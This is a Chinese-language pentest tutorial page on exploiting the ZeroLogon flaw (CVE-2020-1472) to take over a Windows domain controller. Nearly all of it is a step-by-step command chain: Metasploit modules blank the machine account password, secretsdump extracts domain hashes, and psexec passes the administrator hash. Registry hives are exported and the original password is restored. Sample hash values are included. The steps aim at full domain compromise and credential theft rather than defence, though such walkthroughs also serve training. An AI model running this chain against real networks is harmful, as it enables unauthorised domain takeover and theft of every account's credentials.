跳转至

ZeroLogon

内容简介

本小节主要讲解了在内网渗透环境中,如果运气一直很差,没法拿到域管账号的凭证我们如何利用经典的 CVE-2020-1472 ZeroLogon 漏洞直接置空域控主机的本地用户管理员密码,从而间接的逐步拿到域控管理员的权限。

置空密码

因为 MSF 如今已经集成了对应的 EXP 了,我们可以现在利用这漏洞就简单方便很多了:

msf6 > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6 > set rhosts 192.168.20.100
msf6 > set NBNAME adserver
msf6 > run

image-20231217191717753

image-20231217193626831

成功将域控主机的本地用户密码重置为空密码:

aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

哈希读取

MSF 读取

接着我们使用这个空密码来登录域控,尝试进一步读取域管理员的哈希:

msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use auxiliary/gather/windows_secrets_dump
msf6 > set rhosts 192.168.20.100
msf6 > set smbuser adserver$
msf6 > set smbpass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 > run

image-20231217194008466

secretsdump 读取

C:\Tools\impacket-examples-windows-v0.9.17>secretsdump.exe pigteacher.com/adserver$@192.168.20.100 -no-pass > hash.txt

拿到域控的 Hash:

image-20231217194823303

哈希传递

有了哈希那么可以直接来登录域控了:

psexec.exe -hashes e90127c07127ed1266ca3ba53c674cc1:8a282f931f4d94ef1ce71b356310ff42 pigteacher/administrator@192.168.20.100

image-20231217194932669

上线后再读取一下域控的明文密码,则可以直接 RDP 登录了。

恢复域控

过导出 sam system 等文件到本地,获取域控机器上本地保存之前的 hash 值用于恢复,以防脱域

image-20231217200153473

image-20231217200209525

注册表导出

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save 

image-20231217200816129

恢复 NTLM HASH

secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL

image-20231217201027648

$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9d55d1f15944f85597180f0df88b587b

恢复域控

python3 reinstall_original_pw.py adserver 192.168.20.100 9d55d1f15944f85597180f0df88b587b

image-20231217201219597

验证恢复

使用 secretsdump 测试一下能否使用 no-pass 参数登录了,如果不能的话,则恢复成功:

secretsdump.exe pigteacher.com/adserver$@192.168.20.100 -no-pass

image-20231217201308268

实战中重置了域控的密码为空后,大家恢复的速度要快一点,否则可能会搞出生产事故。